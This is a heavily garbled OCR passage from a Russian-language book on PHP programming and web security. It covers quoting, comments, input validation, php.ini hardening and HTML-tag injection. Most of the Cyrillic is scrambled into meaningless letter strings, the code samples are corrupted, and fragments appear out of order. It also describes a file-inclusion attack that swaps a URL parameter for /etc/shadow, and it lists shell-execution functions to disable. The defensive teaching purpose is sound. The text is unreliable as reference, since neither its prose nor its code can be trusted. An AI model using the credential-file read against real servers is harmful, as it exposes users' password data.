Inech OGBEAMHIIOTCA @K TPH CTPOKH, HTOGH MONYHHTIOCh OTHO L1E06 — A COBS
npoden.

Bepiewcs k mpuMepy ¢ pyHKei print (). TIph BTOPOM BHI0BE ITOH (ByHKIH Mt
e Ha okpane: "Tlepewennas 10=10". Ha 5TOT pas pOrpavMa MpocKaHMpoBaTa
CTPOKY B ABOFIHEIX KABBIAKEX  3aMEHITA NS ICPEMEHHO CC THAUCHHEN.

JIHAHO 3 TeCTH! TPOIBOTHTENSHOCTH JBYX BAPHIHTOB He TIPOBOTAT, & b HiTepHeTe -
Tan paskie To%KH spenns. KT0-To TOBOPHT, GYATO MpH Hactolf paGoTe co CTPOKaMH
ABOMiHE KABLIYKH BAMSIOT Ha MPOWSBOMMTETLHOCTS, APYTHE YTBEPXIAIOT, 4O HeT.
51 IyMato, “TO CKAHHPOBAHHE CTPOKH B TOHCKEX MIEPEMEHHBIX ZOKHO BIHST Ha CKO-
POCTS PAGOTH KOA, BEth IPOCTO BEIBECTH CTPOKY Ge3 cKanupoBarka npoue. Ho nae-
HHE TIPOHSBOTHTETLHOCTH MOAET GHITh HE TAKIHM YK SHASHTETbHEIN, €CTH PaTpACOTIHKH
PHP X0poLIO OITHMIHPOBATH KO
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epBEp BHIMOTHNT Beck KO, KOTOpHH HAXOMHTCA B Gallie, H XaKepy BEpHET PEsyITaT,
B KoTOpoM He GyzeT Koz, a TombKo Gecroneamas HTML-paswerxa wani.

JlonycTiw, “To B CO3ATH GallT, Y KOTOPOTO CTPAHILLS (JOPMHPYIOTCA A OCHOBE Tpex
acTeli — Wanks, ueHTpa 1 noxBATa. JI1S WATIKK H TIOTBATA HEOGXOTHNO 11O OTHOMY
aliry, a A% OCHOBHOM HaCTH caliTa B OTAETBHOM KATATOTE XpAHHTCR MHOKecTRO daii-
708, Kakoi W3 3THX ai0B OTOGPEAATS — SABHCHT OT TEKYILIETO BHIGOPa NIOTH30BATE-
715, B, anepHoe, yke Bu1eaw caiitsi b Hirepiere, b koropsix URL-azpec abrisaut
enexyromum oGpasom:

bttp:/www.sitename.com/index. php?file=main.html

Bce, 4O HAXOAWTCA TIOCAE BONPOCHTEIISHOT 3HaKa, — 7T napaveTp. B AarHow c7y-
A€ B KIHECTBE APAMETPa MIEPEAGETCA a main.html, w, BOIMOKHO, HNEHHO €ro caifr
6ynet oToGpaKaTh /it AaHOro URL B OGHOBHOM HaCTH CTPRHMIS. A €CTH XAKEP CHO-
KT WoNEHHTS 9TOT napaweTp Ha /etc/shadow? B STo cyae Ha CTPaWHLE, B OGHOBHO
€€ uaCTH, 30yMBILTEHHHK YBWIUT Gali NapOTEH BCEX TIOTH3OBATENEH CHETEMS (€CTH
cepuep paSoract nox ynpanientem UNIX-nozo0Hoi cuctemsr). Xors napon w saund-
POBGHE, 3TO BCE PABHO 0%ers OnacHo. B paso. 3.4.1 Mt Gy1em oGey KT caifr, KoTo-
i He MIPOMIBOTHN HEOGXOMHMBIX IPOBCPOK, TaK 'O MHE YAA10Ch MPOCOTPETS CHe-
Temtbie Qainb GTArOIapA NOTOGHOH OUIHGKE C NOAKTIONEHHEN incLude,

Eilie ofn MpHMep yIBMMOCTH, KoTopbii A XO4y ceffiac PAcCNOTPTS, — nposepKa
Gesonacnocmu 6xo0nesx dannix. Mbt Gy eM MHOTO TOBOPHTS O TOM, 4TO BXOTHHM a-
PAMETPAM JOBEDATS HEb33 H HX HYAKHO PHISTPOBATS. 4CTO BOSHHKAIOT OLLIMGKH W3-30
Toro, 470 MPOTPAMMHCT HATHCAT MPOBEPKY BXOHBX AGHNBIX TOTHKO B OHOM CHEHA-
pun. TIpoBepis napamerpsi & header. php, o HaZEeTCs, STO OHH GYAYT TakHMI e W B
ocHoBHOM cTpasue index.php, u B nozsane. Ho we acerza cyuaeTcs Takoe wy70. ECin
Xakep oGpaTHTCS K index.php, T0 97T alin NOTKTOWHT Gailn 3AOTOBKA W MPOBEPKa
poMIOTCT. MOYMBILICHHIK MOAET OOPATHTHCA HATpAMYIO Kk dailry 3aroroBka,
cHOB MpOBEPKA TPOMOMZET.

Ho wro crywwres, ecn 8 crpoke URL oBpatiica Hanpawyio k footer.php? 910 i
e nomcTiosaet header.php, 1 B Hew Her coeit MpoBepKH. ECTH MPOTPANMHCT He no3a-
GOTHTCA 0 GE30MACHOCTH AGHHSIX, TO CT MOKET GBITD BYIOMaH. JTO TOTHKO K&KETC,
w10 B pailn MoABAN PEAKO MOMCILAIOT KO, TeM GOice, MPHHAMAOIK apaNET OF
noassosatens. Napaerpsi ot URL, A€fiCTBHTE 510, PEAKo 0GpaGaTHBAIOTCS, HO B Gali-
7€ NOBATIA OYEHD HACTO HAXOIMTCH CTATHCTHYECKHH KO, KYDHAT, HHBOPMALIA, 3a8H-
LA OT OKpYeHIA, 1 MHOTOE ZPYTOX.

ByIbTe BHMMATETHB: NpH COSIAHHH KAKIOTO (aliia HYAHO YHHTHBATE, STO TOGHE
RaHHBE, TOTYEHHHIE W3BHE, MOTYT GBITS HeGesonacHsi.

2.3. Teuars

JI13 BLIBONE WAGQOPMALLAY Ha SKPAH WIH B OKHO GPayIEpa €CTh Be TIOMYAPHHE ByHK-
Wi cho () # print (). C OTHON Mb! YKe HENHOTO IOHAKOMITCS, TEriepb PACCMOTPHM
apyryro.
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1. ®reton M. Linux rnasaws xaxepa. — CTI6.: BXB-TlerepGypr, 2005.
2. @nenos M. Web-cepaep raasawn xakepa. — CI16.: BXB-Tlerepypr, 2009.

3. @renos M. Kowmsiorep rasaMi xakepa. — 3-& Wi, nepepaG. u nom. — CTIG.:
BXB-TlerepGypr, 2012.

4. ®renon M. Cosnarme Gonburnx caifron w npioxerui //
'URL: http://www.flenov. infolebook. php.
3ech MOKHO HAHTH MOIO STEKTPOHYO KIHIY 110 COIANHIO GOMHIKX caifTos. MHo-
roe B el noKasaHO Ha mpwepe miaTGopwsi NET 1 ssbika CH, Ho W ATA Tex, KTo
e a PHP, OHa MOXET GbITs 0veis, MoTesHof.
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OnucaHue
3/1eKTPOHHOro apxuea

Tlo cesurke
ftp//ftp.bhv.ru/9785977537629.zip

MOKHO CKRNATS EKTPOHMHBIA GPXHB C HCXOTHBINI KOLAMH IDHMEPOB, PACCMOTPEHHBX
B KHre, 378 COBLTKA A0CTYTIHA TAIOKE CO CTPAHHLI! KHHTH Ha caffTe

www.bbv.ru

ApXHB ¢ KOZaMH Taloke MpECTaBIEH Ha caliTe 5TOpa KHHTH www.flenov.info b pasene
Kanrn,

Pacnaxosas apxus B paGouyko MKy, Bt OGHAPYKHTE BIOKEHHSE KaTaTorH. B HinK Ha-
XOBATCA paiii ¢ KORAMH MPHMEPOB, PACTIpEETEHHBIE N0 AABaN.
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K npemvymecraam ommocsTes:

O 3KOHOMWA TpagHKa — KaHHHE 13 OPMI He HYKHO OTIPABIATS Ha CEpBEp, “OGH
‘OHH TIPOWLTH NPOBEPKY Ha KOPPEKTHOCTS. [1poBEpKa IPOHEXOIHT Ha CAMOM KIHEHTE,
HCTOTE3Y3 PECYPCH KOMITHOTEDA KIHEHTa;

3 KOHOMHA BPEMeHI — TPOBEPKA TIPOHCNOIIT CPasy e, §€3 SATEpKKH Ha TIEpenaty
WHOPMALIHH MEATY KTHEHTOM W CEpBEpON;

3 SKOHOMHS PecyPcoB cephepa — NPOBEPKO JaHAT KIHEHTCKIH KOMITHIOTE, 4 He cep-
Bep.

HenocTarkon Aba, WO 01 W3 HAX OvieHh CyiecTerHbi. BO-TEpBX, BOIMOXHOCTH

JavaScript nawmoro e sabika PHP. Bo-BTOpBiX, MOGKOLKY MPOBEpKa MPOHCXOINT Ha

CTOpOHE KIWEHTa, XaKep MOKET OTICHIOUHTS €. ECTh HECKOTBKO METOTOB OTIIONEHHA

TpoBepoK b Gpay3cpe, BOT TOTSKO O i3 HirX:

1. COXPAHHTS KO CTPAHMLL 1a TOKATHHOM THCKE XaKEPA.

2. Vopams JavaScript-xon.

3. Tlph HeOBXOMHMOCTH NIOTKOPpEKTHPOBATS OpMY OTTpaBKH Aakix. ECii b caokcr-
Be act Lon YKAIHO TOTBKO WM (Galiia HIH OTHOCHTENHEI TS, TO HYAHO HIMEHMTS
210 caoficrso wa nonwsii URL K pafiny cuenapws.

Tloce 37010 (paiin MOHO JATPYINTS ¢ TOKATSHOTO MCKA  BHTIOTHNTE, MHHYA Bee

TIDOBEPKH. IO 1 €cTh CaMbiil GOTBIION W CYILECTREHHBI HEOCTATOK, C KOTOPHIM He-

BOIMOAHO GOPOTHCS M G1aroNaps KOTOpOMY JavaScript MOAHO HEMONb308TS A1 MOy~

HeHWA TIPEHMYUIECTS, HO HE34 HETIOTH30BAT TOTHKO JavaScript. HyHo oGwsatensHo

IDOHBOTS AOTIOTHHTELHLE TIPOBEPKH Ha CEPBEpE.

PHP-K0: IPHHLMIM&ILHO OTHNACTCA OT CuieHapHes JavaScript 1 oGAQIAET CreAyIOU-
M cBoficTRaMH:

O xaxzuti pa3s 114 TIPOBEPKH JAHHLIX MPOHCXOTHT TEPENata WX Ha CEPBEp W riepesa-
TPy CTPaHMub (Wik (BOPMI, €CTH OHA PEATHIOBINA B OTIETHHOM (BpeiNe WK
 nomousio AJAX);

3 pesyIBTAT NORIACTEN © Sa1EPAKOR, TIOTOMY 0 HEOTROIAMO BpeNS Ha Nepenasy
RanHiX Ha ceprep, 0GpaGoTY W BO3BPAT peRyBTATA;

3 1R KBACIOH IPOBEPKH PACKOAYIOTCH Pecype Cepbepa;

3 TOILIOBATES He MOET YBHETS KO TPOBEPOK H, Tew Gorice, TOBTHSTS Ha WX X0

O sosmowocTH nponepox PHP 10cTaTouo ek, 1 TpyaHo mpeacTamims cebe 1aza-
4y, KOTOpyo He YAIOk Gt peanisoBas Ha PHP.

Tlepsiie TPH MYHKTa MOKHO OTHECTH K HEZOGTATKAM, HO 5TO MEAOH AJHH 10 CpaBte-
VIO C ABYMA TOCAENIN MYWKTANM, T KA TPEHMYUICCTBE.

YOG JOGHTLCH HAWTYHIIETO PESYTTATA B COGCTBEHHOM MPOSKTE, HEOGXOTHNO 03~
AaTh THOPHI, KOTOpIA OGBEAMHHT b cebe Bee Myuiee OT 06OMX croco6os. S pexowen-
Y10 MPOBOTHTS HEOGXOTHMHE W BOSMOXHE (KOTOpHIE M03BOHT JavaScript) mpobepki
Ha CTODOHE KIHEHTA, WTOGH IKOHOMHTD TPAGHK H BOCTIOTH3OBATHCS MPCHMYLIECTRAMH
JavaScript. Ho np 5Tom #azo T e npoepks sbmoamsrs 1 na PHP, 1a cropone cepae-
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TOTEKO TIepEMEHHBIE OKPYKEHUS, UMCHA KOTODHIX. HANMHAIOTCH C MpedKca B
[ECHit JUPEKTHEY OCTABITS MYCTON, TO MOJKGHO GYXET HIMEHATS BCG NEPeMCHIIE;

O sate_node protected eny_vars — AMPEKTHBA CONEPAMT CTCOK MpEHKCOD MNEH
EPEMEHMHBX OKPYACHAA, KOTOPHE AEHO JATIPELIEHS! K HINCHEHMIO B SALIMLIEHHOM
pemine. T1o YMOTHAHINO ZWpEKTHBA PABHA L0, LIRARY_PATA. ECnn bl paspewin
JOMEHeHHE BEEX NEPEMCHIHBIX, HO ZHPEKTHB PABHA PHE_, TO BCE TEPENEHHH OKPY-
KM ¢ MEQHKCOM F2_GYIYT HEZOCTYHS! 113 PeAKTHPOBIHI

3anperst

C IOMOILIHO AMPEKTHBB disable_funct iors MOHO SATIPETHTS BHITIOTHEHHE ONPEAEAEH-
HBOX (YKL, S HACTOATEHO PEKOMEHIYHO SANPETHTS YHKLIH BHTIOHeRH KovaH1 OC
(systen(), exec (), passthru(), shell_exec (), popen!() ), KOTOpHIE BbI He HCTOTB3YeTe.
PHP-cueHapis TI03B0ASIOT OTKPHIBATS ailiel Ha YARTEHHOM KoMTbIoTepe (4epes FTP-
ww HTTP-coeumene). Ecii MPEKTHB allow sl open BKTIOUENA (or), 3Ta BOSMOK-
HOGTS AocTyTIHA. ECTH B He HCTIOMIYeTe YIATEHHBIe KOMTIOTEPSI, TO CICAYeT yeTa-
"HOBHTE 1A APEKTHB a1ow_uc1_open IHANEHHe ot

PaGora ¢ ainamk beeraa onacka. EGTH B ballieM CLEHIHH HCTIOTH3YETCS (yHKIIHS
£open ()  xaxep cMor nepeaaTs el bain /etc/passwd, To CiHcoK nosoBaTEEH CHETE-
Mbi CTAHOBHTCA OBILIEAOCTYTIHbM. UTOGH OGE30MACHTS CeGA OT TakoH OLIMGKH, B KOH-
rypatonHom Gaiine php.ini B AMPEKTHBE cpen_basediz HYAHO NEPEHHCANTS HEpes
IBOSTONHE PaspelicHHHIE VA OTKPITHS TyTH.

3.5. TTposepKa KOppeKTHOCTU AQHHBIX

TA€ W KOTAR HYAHO MpOIIBONTS MpoBEPKY KoppexTHOCTH Aanmsix? Ha ofa ponpoca
MOAHO OTBETHTS OTHHAKOBO:

O B HTML~popwe Ha Srane BBoza ¢ riowoutsio JavaScript;

0 5 cuienapww, KoTopsii npwHiMaeT Aanibie ¢ nowousio PHP, . ¢. Ha cepaepe.
HeyXeaw 50 HyAHO Je7aTs ABaKIs? XOTA MPOBEPKH C MOMOUIS0 JavaScript He 06asa-
TeTBH, HO OHM BCe e CTATETsHS, TIOTOMY “TO OGTATAIOT PAIOM O4CHS TONETHBX
npenmymects. Hy a 5 PHP-kofe yke Ge3 BONpOcOB MPOBEPATICS OTKHO aGCOMOTH
BCe, MTO TIOCTYIIAET M3 BHEWIHHX HCTOSHHKOB, H TYT HMEIOTCA B BHAY HE TOTHKO 1apa-
METPbI, KOTOpIe MIEPEAET MOTL30BATEITs, HO H TO, HTO TIOCHLTACT Cam Gpayep (CAyKeS-
as wichopMaLes). KoHeHHo e He HYXHO MPOBEPATS aCCOTIOTHO BCe, 'TO MPHXOTHT Ha
BXO, 2 TONBKO TO, *TO BB HCMOT3YETE. ECH BB HE MEMONbIYETE NapaweTp Usezhgent
B 3aMpoCaX, To H He NpoBEpSiTE STOT NapaveTp.
PaccMOTpHM KKt 3 BpHAHTOB Gosiee MOAPOGHO, oGk
W HezoCTaTKH.

BWICTS WX TpeHMyIeCTBa

Cuewapun JavaScript BHTIOTHAIOTCA Ha KOMIHOTEpe. KIHEHTa, T0 OTPEAEARET W Tpe-
HNYULECTBE, W HETOCTATKH.
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KaK n0KS3QH0 31€ch b 4ETBEpTOH CTPOYKE, KOMMEHTAPHH MOXET SaHHMATS HE BCHo CTPO-
Ky, @ W cpasy nocrie PHP-kowanzsi. Takitw Gpasow, Bt MOAETe 113 KoM CTpos-
KW BCTABIATS MOACHERWA. C TIOMOL5H0 KOMMEHTApHEB % TIOCTApaIOCh TaBATh KaK MOKHO
Gotbtie moscHeHWi Ha NPOTSACHWH BCcH KHATH. Tak Bam GYZET NpoLe BOCTHHHMATS
pacoaTpHBaENBI KO

KOMMEHTApHH MOTYT GHITh 1 MHOTOCTpOSHEINK, HATIDHMEP, TEKCT, OHCHBAIONIHH B03-
MOKHOCTH MOZY.1A Wi CORCPARLINH KEKYIO-TO BETIOMOTATENbHyIo Hipopwao. Taxoh
KOMMEHTADHI HAUHHACTCA C CHMBOAOB /* W SAKAHWHBACTCA CHMBOTAMM */. OH GyleT
BMTAETS CeAyIoM 06paIoN:

<zpmp

RREp—

%0 rome xowmmapt

PRy —

+/'3 970 yxe e kowentapKi, 3mech MORET AT TOMBKO KOR

Xouy OGpATHTS Baile BHHMAKHE Ha TOT (DAKT, HTO BCE ITO MOKHO IHCATS TOTEKO B Pe-
e PHP. Ecan wanmcars axofi kowwenrapwi b HTML, To o1 Gyzer pbisezen b okHO
Gpaysepa, noomy 410 B pexuve HTML AEHCTBYIOT COBEpuIEHHO ApyTHE mpaBia
odpopwre KoMeHTapHe:

Kerarn, kowwenapin 5 HTML aysitie nce e He MHcaTs, OToMY S0 O GYAYT riepe-
ABATECR MEACLY CEPBEPOM H KITHEHTOM, TO OTHHMET AU TPADHK, PECypes 0Gopy-
A0BaHMA W, CAMOE FABHOE, GYIYT BAIHb TI0GOMY, KTO NIPOCMOTPHT HCXORHMK. A TI-
WA WHGOPMALLAS B BHIE KOMMENTADHER WHOTIA MOKET MPECTABTTS HTO-TO UEHHOE
1A Xakepa.

CTONT 31 HCTIONHIOBATS KOMMEHTApHI B PeATHHAX NpOCKTAX? Pawbilie paBiTOM Xo-
POILETO TOHa GBLIO KOMMEHTHOBATS MPOTPaMMBI. CefHac PEKOMEHIYETCA HEATS KOX
“TaK, TG OH (U1 MOHSTEH G OMOTHATEHIX NOZCKa10K. Haw e, KOrAa Mt WHTa-
N KHHTH, HE HYKHb TIOACK3KH. TaK 10 MOKHO YCAUIATh 0Ge TOHKH 3pEHNS.

51 HCTIONH3I0 KOMMEHTADHH B PEATHHBIX MIPOSKTAX, HO HE MHOO, TOTHKO Ta, € OHH
PeATbHO MOMOFAIOT. ONews WACTO NPOCTO /1A BHGYATHHOTO PAMIETEHHS KOTA WTH
odopwren.

2.4.2. YyscTautensHocTs

Siasx PHP e uyscroiTencit k npoGera, nepeBotaM CTPOK Wi aHaka TaGyms.
310 JUGUIT, MTO B MOACTE PAYIEIATI Oy KOMBIUTY Ha HEEKOTHKO GTPOK MM OTIE-
TATS epevEHHE, SHANCHI WIH OTCPATOPH PATHIINAIM KONHIECTBOM MpoGenon. Ha-
npivep:

<wpne

Sirex = 10;

sindex = 10+ 201
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pa. TaKMM OGPAIOM, OHH M TE € AaHHHE GYIYT NPOBEPATLCA ABHKIb! — Ha KIMEHTE
Ha cepbepe. ECIH Xakep CMOXET 00OHTH 3auATy JavaScript, To ero maHHbie He npoRIyT
NIPOBCPKH Ha cepBepe, W BeE SATPATH Ha KOPPEKTHPOBAHHE HCXOTHOTO KOZA CTPAHHIS
OKEKYTCH HAPACHBINH

EAMHCTBERHSIA HEAOCTATOK TAKOTO METONa — CIOKHOCTS COMOBOAEHHS. ECH HyAo
BHECT WIMHEHHS B MPABWTA, MO KOTOPHIM OMPEACIAETCA KOPPEKTHOCTS JAHHBIX, TO
MPHXOTHTCH HIMEHATS JavaScript- # PHP-CLLEHApHH OTHOBPEMEHHO, 40 TIORTEHeT -
e PACKOH. ECTH ITO U15 BAC HETIPHEMUIENO, MOKETE OTKA3ATHCA T JavaScript # npo-
BEPOK Ha CTOPOHE KIHENTA (AIH CICTATH WX MAKCHMATGO NOCTHMM) W YACTHTS
OcHOBHOE BHHMaHH JaUITE Ha CTOpORE ceprepa.

Heronwsonaniwe JavaScript BHXOTMT 38 PaMKH Z&HHOH KHHTH, TIOSTOMY NIOTOBOPHM
TOAKO 0 MPOBEPKAX ¢ Nowotsio PHP.

JIonyCTiw, TO Y HAC €CTh (POpMA, T MOTH3OBATEITs BBONT ABHHSIE, KOTOPHIE JOMKHS
oToGpakaThes Ha bopme. TakHe 01R ONEHS HACTO GHIBAIOT B rOCTEBHX KHHTAX, dOPY-
Max i sarax. TIPEATIOTOXHM, M HE BHITIOTHAEM HHKAKHX TIPOBEPOK, & TIPOCTO BHBO-
MM Ha CTPaHMILY CTPOKY, BBEAEHHYIO MT30BaTeAEN. Hanphwep, covnalite dai cite-
Hapwa submit].php co creyIOLIAM cOTEpRMMBIN:

<fom action="aubmit1.php" method="get>

Jh0n nombaopatenn: <input name="UserNare" />

<input type="hidden® name-"Passuord® value-"querty” />
<input type="sumit® name="sub" value="Go" />

</tom>

<zpnp

print ("ampascreyiize,

5 GET["Usextane’)) ;

Ha sxparie GyeT 0ToGpaKeia opMa 1A BBOA HMEHH TIOTL3OBATEN, KOTOPO TIEpes
etca 3Towmy e aiiny cuieapis. TIoTyB M, NIDOTPAMN MOCTO BEBOIHT €rO Ha K-
PaK. A TEMIEph MPEICTABMM, HTO IOTBIOBATENS BBCII BMECTO HMEHH TekeT "<b>text<b>".
Ha Skpane GYAET OTOGPEAEHO MPHBETCTRHE, a BMECTO HMEHH GYICT BBIBEAEHO AHPHBM
WpHPTOM C0B0 "text”. Taxiw oGpasow, nepenasas HTML-Tern wim, ewe Xye,
KOMaHAbH JavaScript, XaKep MOKET Kak MHHHMYM HCTIOPTHTS BHEWHHH BHI CalTa Wi
ke 10HTH 20 B3TOMA.

T sawsms ot nepeaawn HTML-teros aoctarowno wenomsiosars gykimio
el specialchars (). Efl HYAHO IEpEATh CTPOKY, @ KA BHXOLE MIOTYNHTES Ta e CTPOKS,
B KOTOPOH CHMBObI < 1 > JaMEHEH! MOGITEIOBATENBHOCTAMH 611 H 47 COOTBETCTBEH-
H0. B pesyabTare TeKer "<b>text<b>" a cTpanmie Gyer pbibeeH Kak "<b>text<b>", a
He cooBene "text” AnpHbIM WpHQTOM. FITak, Ko BHBOZA MOT630BATECKIX AAHHAX
NOKET BBIrIAACTS CreAYIOIM 0GpaToM:

Sclearvar = htmlspecialchars (s_GET| *Usertane'])
print ("Sclearvaz™) ;

VEAOKHHM 318ty — NOTIPOGYEM YIQIHTS H3 COOGUICHHA Ter <Script>. B OTHOM H3
ABHOKKOB. HETPOGCCCHONATBHOTO CAiTa % JAMTLA MPOBEPKY, KOTOPAA HCKATa TEKCT
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HecMoTpA Ha To, o 3k caifTst Hancanst Ha NET, OHi Boe Ke MPEIBABIAIOT BHCOKHE
‘TpeGoBanHs K GE30MACHOCTH, a GE30NACHOCTS OHEH HACTO HE JABHCHT OT A3biKa. 51 pas-
PAGATHIBT TAK e HECKOTHKO CAITOB C MeHEE BHCOKHM TPAQHKON, Ho #a PHP. Cpean
Hx:

O www.canada-area.com — HECMOTP Ha TO, SO paciHpeH¥S Y Qaliion calita—
aspx, calt nce e Hanncan Ha PHP;

O www.flenov.info — wofi nepeonabHii Gor;
O www.cweek.ca — caifr o Kanaze wa anrawickom asike.

BnaropapHoctu

Oiets XoueTes MOGRATOZAPHTS BEEX TEX, KTO MOMOTA MHE B COVIaHHH STOH KHATH.
1 He Gyxy GAronapHTS B MOPRIKE IHAYHMOCTH, TIOTOMY STO KAXIAS TIOMOLS OYeHs
CywmecTBeHHa 111 ek 115 TaKoH KT, TI03TOMY IOPAIOK He HECET B ceGe HHKAKO-
T CAMBICT2, @ BHIGPAH TaK, *TOGB OCTApATECA HHKOTO HE 380HITS.

Xoseres noGaaronapwts mynaTeseTso "BXB-TIeTepOypr”, ¢ KOTOPHM ¥ MeHS CHOKH-
70ch yAe IOCTATONHO Z01IT0E H NIPOAYKTHBHOE COTpYAHHAECTRo. Hazeiock, 410 370 co-
TPYAHHIECTBO He TIPEPBETCA HHKOTAA. CTACHGO PEAEKTOPEM 1 KOPPEKTOpAM 3a T0, ST0
‘YKESHIBEHOT Ha MOK HEZOMETHI H TIOMOTIOT CIETATS KHHTY ¥l H HHTEpECHEe.
XoseTes no6TArOZapHTS CROIO CeMblo, KOTOPAR TEPITHT MOH HCHEIHOBEHHS 32 KOMIbIO-
Tepow. 51 MPEKPACHO IORKMA0, STO THKENO BAIETS MyKa H OTUA CemelicTa, Koropsii
BpoAC Gsi 20Ma i B TO e BpEMS OTCYTCTBYET. T0 HATOMHHAET 3arazky: "BHCHT rpywa,
HETH3A CKYWATS". 5, NPABAA, He TPYLLA W HYTe He TIOZBELIEH, HO PAGOTATS MPHXOTITCH
NHOTO, H OsieHb 4aCTo Mok paSowHi feHs 1THTCS 16 Hacos.

Xouy M06TArOIapHTS Tex, KTO PASpELLIUT TECTHPOBATS CBOW CEPBEDHI H CLIEHAPHH B Lic-
1A BBUABTERKA OWHGOK, & TAKKE TIO3BOTHLT IPOCMOTPETS CBOH CUEHAPHH  HACTPOHKH
GesonacHocTH. COTPY IHIUECTBO OKASATOCH BIHMOBBITOTHAN.

EvtHCTBEHHa% GAATOZAPHOCTS, KOTOPYIO & XOTEIN Gbi MOZ4€PKHYTS GOTIsiie BCEX H MpH-
R8Th €ff GOTBUIYIO IHATHNOCTS, — 3TO BN, 32 TO, HTO KYMLTH KHHTY,  MOHM IOGTORH-
"HBIM SHTATEIAN, KOTOPHIE TAIOKE YHACTBYIOT B COVIaHHH KHHT.

Bee MOK TIOCAEHHE PAGOTH OCHOBHBIOTCA Ha BOTIPOCEX W MPEVIOXEHHAX SirTaTerel,
© KOTOpHIMH 3 eryIApHO oBiaioch Yepes caok caitt www.flenov.info. 5 nocTapaiocs,
TIOMOHE 10 MEpe BOIMOKHOGTH H AT TIOGHX KOMMEHTAPHER 110 MOBOTY STOM KHHIH,
Bl 3aMEHaHIA TOMOTYT MiHE CAETATS 3Ty PaGoTy Tyue.

Ha 3TOM % 3AKAHWIHBAIO BCTYTUIEHHE, H M5! MOKEM NIEPEXOIHTS K CAMOMY HHTEDECHOMY
B 3T Kattre — K PHP, MporpaMMHpoBaiio 1 Ge3onacoeT.
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ECITH BaM HYAHO BHBECTH B CTPOKE, OGPAMITEHHOM IBOHBINM KABKIIKAMH, MM Tiepe-
NEHHOM, & He IHEHEHHE, TO 1EPE CHNBOTIOM Z0TAPA KYAHO TIOCTABHTS et

princ (

lepeueian \Svar=svar®) ;

B 370M caysae pesysTaTom cHoba Gyet "Tlepemennas $var=10". OTHaKo €c b cTpo-
Ke OKKYTCA IPYTHE Niepementbie G5 Ceia BHasarie, To oM GYAYT BHIBEACHS N0 3Ha-
seno.

2.4. Tlpasuna koavposaHus

ECAM Bt MPOrPAMMHPOBATH Ha KAKIX-HHGY1h A3BIKEX BHICOKOFO ypoBs (C-++, Delphi),
T0 YA€ IHAETE, UTO BeE TIepeMEHHbE JOKHEL HNETb CTPOrO OnpEeTeHuH T @ Kol
107KeH GhiTh OOPAUIEH B Z0CTaTOWHO AecTiunX pawkax. Sk PHP Goree Aewokpari-
HeH W HE Tak CHTHHO OTPAHWIMBACT BAC, HO TDH 9TOM GOTbIIIE BEPOSTHOCTE BOMKHO-
BeMA OUIHGKH BO BPEMS BHITIOTHEHIA CUEHAW, H B “IEN-TO JTO DKE TPHBOIIT K He-
OGXORHMOCTH JATPANMBTS ZOMOTHITE HAIE YCHIHA Ha GE30MaCHOCTS.

JOmyCTHM, IDOTPAMMHCT NOPAIYMEBACT, 4TO iepes Kakofi<To mapamerp GyZeT nepeaa-
BTBCA SHCTO, HO XAKEP TIEPAA CTPOKY, COACPAAIYIO 3aMPOC K Gase amHerX. Ecnn Gut
TepeMeHHaR HMena SETIHH THI, TO TOYMBILLTEHHHK TIOTY T G OUIMOKY, MOTOMY O
HETE3A TeOGPAIOBATE CTPOKY B HHCIO. A H3-3a OTCYTCTBHA THIHSALUAH IPOTPANMHCT
JIOTKEH CaMOCTOATEIISHO NPOBEPATE THIT IEPEAABAENHIX IEHHbX H TIPECEKATH THOGHE
HeBepHHIE Xoi.

Ecitn bt 3uaeTe s3biK mporpampoBaia C, Java wik Perl, To MHOTOE Bam e 3AaKko-
M0, n0ToMy 4t PHP e noxos a C/C+-+.

B 370/ £AaBe Mt Gy1eM TOBOPHTS OG OGHOBHBIX BELLEX, B TOM HHCAE M O TIEPEMEHHbX.

2.4.1. KommenTapum

Otpopunenne xomverrapuen B PHP cxoxe co cTiutes oopwienis b sabike mporpas-
Miposaa C/C++ ik Java. Jlarusii aKT THIHH pa3 YKEIHBIET Ha POTCTBEHHOCTS
THX F3KOB. HTO TAKOE KOMMEHMApUiT? ITO WHGOPMALIAA, KOTOPAS HE BIHAET Ha Bbi-
TOAHeRHe Ko1a MpOrpavMsi. HanpHMep, B XOTHTE BCTABHTS B KO MIOACHEHHE, KOTOPOE
GYAET HAXOTHTECA MPAMO B KOTE H He CTAHET BHBOIHTECA B OKHO Gpay3€pa Wik BHTION-
WATHCA WHTEpNpeTaTopo PHP. Takoe MOACHEHHE MOXHO OBOPMHTS B BHIE KOMMEH-
Tapun.
KOMMEHTpHI GHIBAIOT OIHOCTPONHBINIS H MHOTOCTPOSHHINMH. OTHOCTPOMHAH KOMMEH-
Tapii HavHHACTCR C ABYX CCuIEH // (3aHMCTBOBANO 3 C+++) WA pemeTK 4 (AT
BOBHO W3 KOHQHTYPAIBIONHSX paitios Linux), i BCe, “To HAXOZHTCR B TOil e CTPOKE
TI0CTE STHX CHMBOTOB, GYAET BOCIPHHHMATECA KaK KOMMEHTaph. Hanpivep:

<pp

+ 370 wousenapiet

11 1 310 xesssenmapicn

print ("wom PHP"); // %0 Tome xowsmirapih
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Kepekylo_KOMMO, H GOTbIOE KOAHECTBO nOs0BaTene nonepiT. JloBkHe Xakept
YMCIOT YOEAIATS, W PERYKTAT JABHCHT O HX OIBITA H CTIOCOGHOCTEH, 3 ATMHHHETPATO-
PaM MPHXOITCS TOTEKO HAGMIOZATS, NOTOMY “TO TYT YAE JALATHTLCA HEBOIMOKHO.
CueHapitt HAXOLATCA Wa IPYTINX CepBpaX W HeroOIIACTH v Bawa sazava — cie-
MATh TaK, MTOG! XaKep He CMOT BETPOHTS CCBUIKY Ha CBOM ClieHapHl ¢ Bailero cafiTa.

'BOJlee MOLIBIN H WHTEICKTYAISHBIM CPEACTON JAMEHS! ABISIOTCH PEryIAPHHE BEIP-

KeHwS, KOTOPbiC M Gy IeM paceuaTpHBaTS b pazd. 3.6.

Oieits PEAKO MOKHO BCTPETHTS CalfT, Ha KOTOPOM GHITIO Gt TOTIEKO OO Mofe BBOTA

/UI% OHOTO NapaveTpa. Beve  BCETAA MHCATh OTHH H TOT Ke KO MPOBEPKH ABHHBIX

HEYA06HO i HeXpEKTHBIHO, TIO3TOMY CAEXYET OTHH Pas HATHCATS TPOBEPOSHYI0 dyHK-

WO W BHIHBATS €€ 1A BCEX IPHAHMAENBIX BpaMETpoB. TouHee CKATS, B PEATL b

YCAOBHAX NPHIETCA HATHCATS HECKOTSKO (BYHKLUMF, KOTOPHIE MOTYT GBITh pasieieHsi no

Yposiaw kpwrHsocTH. Hanpimep:

